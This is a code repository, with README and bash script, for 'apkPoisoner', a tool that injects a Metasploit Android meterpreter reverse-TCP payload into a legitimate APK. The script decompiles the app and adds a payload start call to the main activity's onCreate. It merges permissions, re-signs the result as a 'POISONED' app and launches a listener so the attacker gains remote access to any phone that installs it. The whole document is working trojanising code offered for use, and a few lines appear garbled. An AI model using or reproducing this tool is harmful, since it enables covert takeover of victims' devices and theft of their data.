├── video
└── apkpoisoner_poc.gif
├── README.md
└── apkPoisoner.sh
/video/apkpoisoner_poc.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Invertebr4do/apkPoisoner/HEAD/video/apkpoisoner_poc.gif
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # apkPoisoner
2 | Tool made to inject malicious code inside a legitimate apk in order to gain access to the infected device.
3 |
4 | # DEPENDENCIES
5 | - java
6 | - metasploit-framework
7 | - zipalign
8 | - sponge
9 | - wget
10 |
11 | # INSTALLATION
12 |
13 | ```bash
14 | git clone https://github.com/Invertebr4do/apkPoisoner.git
15 | cd apkPoisoner && chmod +x apkPoisoner.sh
16 | ```
17 |
18 | # USAGE
19 |
20 | ```bash
21 | ./apkPoisoner.sh -i [IP_ADDRESS] -p [LOCAL_PORT] -a /PATH/TO/APK.apk
22 | ```
23 | > The malicious apk file is saved on **[APKPOISONER_DIRECTORY]/out/POISONED_[APP_NAME].apk**
24 |
25 | 
26 |
--------------------------------------------------------------------------------
/apkPoisoner.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #Colors
4 | green="\e[0;32m\033[1m"
5 | end="\033[0m\e[0m"
6 | red="\e[0;31m\033[1m"
7 | blue="\e[0;34m\033[1m"
8 | yellow="\e[0;33m\033[1m"
9 | purple="\e[0;35m\033[1m"
10 | turquoise="\e[0;36m\033[1m"
11 | gray="\e[0;37m\033[1m"
12 |
13 | function ctrl_c(){
14 | echo -e "\n${red}[!] Exiting...${end}"
15 | tput cnorm; exit 1
16 | }
17 |
18 | trap ctrl_c INT
19 |
20 | tty_size=$(stty size | awk 'NF{print $NF}')
21 |
22 | function banner(){
23 | clear
24 | echo -e " ${turquoise}▄▄▄ ██▓███ ██ ▄█▀ ██▓███ ▒█████ ██▓ ██████ ▒█████ ███▄ █ ▓█████ ██▀███${end} "
25 | echo -e "${turquoise}▒████▄ ▓██░ ██▒ ██▄█▒ ▓██░ ██▒▒██▒ ██▒▓██▒▒██ ▒ ▒██▒ ██▒ ██ ▀█ █ ▓█ ▀ ▓██ ▒ ██▒${end}"
26 | echo -e "${turquoise}▒██ ▀█▄ ▓██░ ██▓▒▓███▄░ ▓██░ ██▓▒▒██░ ██▒▒██▒░ ▓██▄ ▒██░ ██▒▓██ ▀█ ██▒▒███ ▓██ ░▄█ ▒\t\t\t\t\tINVERTEBRADO${end}"
27 | echo -e "${turquoise}░██▄▄▄▄██ ▒██▄█▓▒ ▒▓██ █▄ ▒██▄█▓▒ ▒▒██ ██░░██░ ▒ ██▒▒██ ██░▓██▒ ▐▌██▒▒▓█ ▄ ▒██▀▀█▄ \t\t\t\t${gray}GITHUB ${turquoise}https://github.com/invertebr4do${end}"
28 | echo -e " ${turquoise}▓█ ▓██▒▒██▒ ░ ░▒██▒ █▄▒██▒ ░ ░░ ████▓▒░░██░▒██████▒▒░ ████▓▒░▒██░ ▓██░░▒████▒░██▓ ▒██▒\t\t\t${gray}LINKEDIN ${turquoise}https://www.linkedin.com/in/andres-ramos-invertebrado${end}"
29 | echo -e " ${blue}▒▒ ▓▒█░▒▓▒░ ░ ░▒ ▒▒ ▓▒▒▓▒░ ░ ░░ ▒░▒░▒░ ░▓ ▒ ▒▓▒ ▒ ░░ ▒░▒░▒░ ░ ▒░ ▒ ▒ ░░ ▒░ ░░ ▒▓ ░▒▓░${end}"
30 | echo -e " ${blue}▒ ▒▒ ░░▒ ░ ░ ░▒ ▒░░▒ ░ ░ ▒ ▒░ ▒ ░░ ░▒ ░ ░ ░ ▒ ▒░ ░ ░░ ░ ▒░ ░ ░ ░ ░▒ ░ ▒░${end}"
31 | echo -e " ${purple}░ ▒ ░░ ░ ░░ ░ ░░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░ ${end}"
32 | echo -e " ${purple}░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ${end}\n"
33 | for i in $(seq 1 $tty_size); do echo -ne ${purple}─${end}; done; echo
34 | }
35 |
36 | function helpPanel(){
37 | echo -e "\n${red}[!] Uso: $0"
38 | for i in $(seq 1 80); do echo -ne ${red}─${end}; done
39 | echo -e "\n\n\t${blue}\u2503${end} ${purple}[-i]${end} ${yellow}Local IP/Host.${end}"
40 | echo -e "\t${blue}\u2503${end} ${purple}[-p]${end} ${yellow}Local port.${end}"
41 | echo -e "\t${blue}\u2503${end} ${purple}[-a]${end} ${yellow}Target APK file.${end}"
42 | echo -e "\t${blue}\u2503${end} ${purple}[-h]${end} ${yellow}Show this help panel.${end}\n"
43 | }
44 |
45 | function compileYsign(){
46 | echo -e "${purple}╚═ ${blue}Building ${green}$appDir${blue} application...${end}"
47 | java -jar $toolsDir/apktool*.jar -q b $appDir -o modified-$appDir.apk 2>/dev/null
48 | if [ "$(echo $?)" != "0" ]; then
49 | echo -e "\n${red}═════╝ Building failed ╔═════${end}"
50 | tput cnorm; exit 1
51 | fi
52 | sleep 0.5; echo -e "${blue}╚═ Signing ${green}$appDir${blue} application...${end}"
53 | java -jar $toolsDir/uber-apk-signer*.jar --apks modified-$appDir.apk &>/dev/null
54 | if [ "$(echo $?)" != "0" ]; then
55 | echo -e "\n${red}═════╝ Signing failed ╔═════${end}"
56 | tput cnorm; exit 1
57 | fi
58 | }
59 |
60 | function editPermissions(){
61 | echo -e "${purple}╚═ ${blue}Modifying ${green}uses-permission${blue} permissions...${end}"
62 | cat AndroidManifest.xml | grep "uses-permission" > ../permissions.txt 2>/dev/null && popd &>/dev/null
63 | cat $appDir/AndroidManifest.xml | grep "uses-permission" >> permissions.txt
64 | cat permissions.txt | sort -u | sponge permissions.txt
65 | cat $appDir/AndroidManifest.xml | sed '0,/.*uses-permission.*/s// apk-poisoner-place2set-permissions/' | grep -v "/\/>\\n/g' | sponge permissions.txt
67 | permissions=$(cat permissions.txt | sed 's/\//\\\//g')
68 | cat $appDir/AndroidManifest.xml | sed 's/apk-poisoner-place2set-permissions/'"$permissions"'/' | sed 's/\\n/\n/g' | sponge $appDir/AndroidManifest.xml
69 | }
70 |
71 | function mkYdMsfApk(){
72 | popd &>/dev/null
73 | echo -e "${purple}╚═ ${blue}Creating ${green}msf${blue} application...${end}"
74 | msfvenom -p android/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -o msf.apk &>/dev/null
75 |
76 | if [[ $(echo $?) -eq 0 ]]; then
77 | echo -e "${purple}╚═ ${blue}Decompiling ${green}msf${blue} application...${end}"
78 | java -jar $toolsDir/apktool*.jar -q d msf.apk 2>/dev/null && pushd msf &>/dev/null
79 | tar -cf - smali | ( cd ../$appDir; tar -xpf - )
80 | popd &>/dev/null && pushd msf &>/dev/null
81 | else
82 | echo -e "\n${red}═════╝ MSFVENOM returned an error during the creation of the malicious apk ╔═════${end}"
83 | fi
84 | }
85 |
86 | function editActivity(){
87 | echo -e "${purple}╚═ ${blue}Editting the ${green}$mActivityName.smali${blue} activity...${end}"
88 | payload=$(echo 'invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V' | sed 's/\//\\\//g')
89 | cat $mActivityLocation | sed "s/ onCreate(Landroid\/os\/Bundle;)V/ onCreate(Landroid\/os\/Bundle;)V\n $payload/g" | sponge $mActivityLocation
90 | }
91 |
92 | function findActivity(){
93 | echo -e "${purple}╚═ ${blue}Searching the ${green}MainActivity.smali${blue} file...${end}"
94 |
95 | cat $mActivityLocation | grep 'onCreate(Landroid/os/Bundle;)V' &>/dev/null
96 |
97 | if [[ $(echo $?) -eq 0 ]]; then
98 | echo -ne $mActivityLocation &>/dev/null
99 | else
100 | echo -e "\n${red}═════╝ onCreate method not found ╔═════${end}"
101 | tput cnorm; exit 1
102 | fi
103 | }
104 |
105 | function decompile(){
106 | echo -e "${blue}╗${end}\n${purple}╚═ ${blue}Decompiling ${green}$appDir${blue} application...${end}"
107 | java -jar $toolsDir/apktool*.jar -q d $targetAPK 2>/dev/null && pushd $appDir &>/dev/null
108 | }
109 |
110 | function getTools(){
111 | mkdir Tools
112 | wget -q https://github.com/patrickfav/uber-apk-signer/releases/download/v1.3.0/uber-apk-signer-1.3.0.jar
113 | wget -q https://github.com/iBotPeaches/Apktool/releases/download/v2.9.3/apktool_2.9.3.jar
114 | mv {apktool*.jar,uber-apk-signer*.jar} Tools
115 | }
116 |
117 | # ~ ~ ~ MAIN ~ ~ ~
118 |
119 | declare -i parameter_counter=0; while getopts ":i:p:a:h:" arg; do
120 | case $arg in
121 | i) lhost=$OPTARG; let parameter_counter+=1;;
122 | p) lport=$OPTARG; let parameter_counter+=1;;
123 | a) targetAPK=$OPTARG; let parameter_counter+=1;;
124 | h) helpPanel;;
125 | esac
126 | done
127 |
128 | tput civis; if [[ $parameter_counter -eq 0 || $parameter_counter -ne 3 ]]; then
129 | helpPanel
130 | else
131 | rm -rf apkPoisoning; mkdir apkPoisoning 2>/dev/null; cp $targetAPK apkPoisoning && cd apkPoisoning
132 | targetAPK=$(echo $targetAPK | tr '/' '\n' | tail -n 1)
133 |
134 | if [[ $(file $targetAPK | grep -oP "\.apk:.*?\(APK\)") == ".apk: Android package (APK)" ]]; then
135 | banner
136 | getTools
137 | toolsDir=$(cd Tools && pwd)
138 | appDir=$(echo $targetAPK | sed 's/\.apk//g' | sed 's/\.\///')
139 | decompile; sleep 0.4
140 | mActivityName=$(cat AndroidManifest.xml | grep "' | grep -oP '".*?"' | tr -d '"' | grep -oP "^\w+\.\w+.*" | tr '.' '\n' | tail -n 1)
141 | mActivityLocation=$(find . -name $mActivityName.smali)
142 | findActivity; sleep 0.4
143 | editActivity; sleep 0.4
144 | mkYdMsfApk; sleep 0.4
145 | editPermissions; sleep 0.4
146 | compileYsign; sleep 0.4
147 | rm -rf $appDir msf msf.apk permissions.txt modified-$appDir-aligned-debugSigned.apk.idsig modified-$appDir.apk
148 | mkdir ../out 2>/dev/null
149 | mv modified-$appDir-aligned-debugSigned.apk ../out/POISONED-$appDir.apk && cd ..; rm -rf apkPoisoning 2>/dev/null
150 | echo -e "${blue}╗ ╔${end}"; sleep 0.2
151 | echo -e "${purple}╚════════════════════════════${blue}╝${green} 𝘿𝙤𝙣𝙚 ${blue}╔═${purple}══════════════════════════╝${end}"
152 | echo -e "${gray} (Starting metasploit listener...)${end}\n"; sleep 0.5
153 | tput cnorm; msfconsole -q -x "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT $lport; exploit"
154 | else
155 | if [[ $(file $targetAPK | grep -oP "\.apk:.*?\(APK\)") != ".apk: Android package (APK)" ]]; then
156 | echo -e "${red}[!] ($targetAPK): Invalid apk file path${end}"
157 | fi
158 | fi
159 | fi; tput cnorm
160 |
--------------------------------------------------------------------------------